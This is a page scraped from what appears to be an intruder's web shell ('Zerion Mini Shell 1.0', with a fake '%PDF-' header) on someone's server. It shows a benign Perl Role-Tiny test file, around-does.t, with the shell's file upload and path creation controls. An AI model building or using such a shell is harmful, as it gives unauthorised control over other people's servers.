%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Role-Tiny-2.000006/xt/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Role-Tiny-2.000006/xt/around-does.t

use strict;
use warnings;
use Test::More;

use Class::Method::Modifiers 1.05;

my $pass;
my $pass2;

BEGIN {
    package Local::Role;
    use Role::Tiny;
    around does => sub {
        my ($orig, $self, @args) = @_;
        $pass++;
        return $self->$orig(@args);
    };
    around DOES => sub {
        my ($orig, $self, @args) = @_;
        $pass2++;
        return $self->$orig(@args);
    };
}

BEGIN {
    package Local::Class;
    use Role::Tiny::With;
    with 'Local::Role';
}

ok(Local::Class->does('Local::Role'));
ok($pass);
ok(Local::Class->DOES('Local::Role'));
ok($pass2);
done_testing();

Zerion Mini Shell 1.0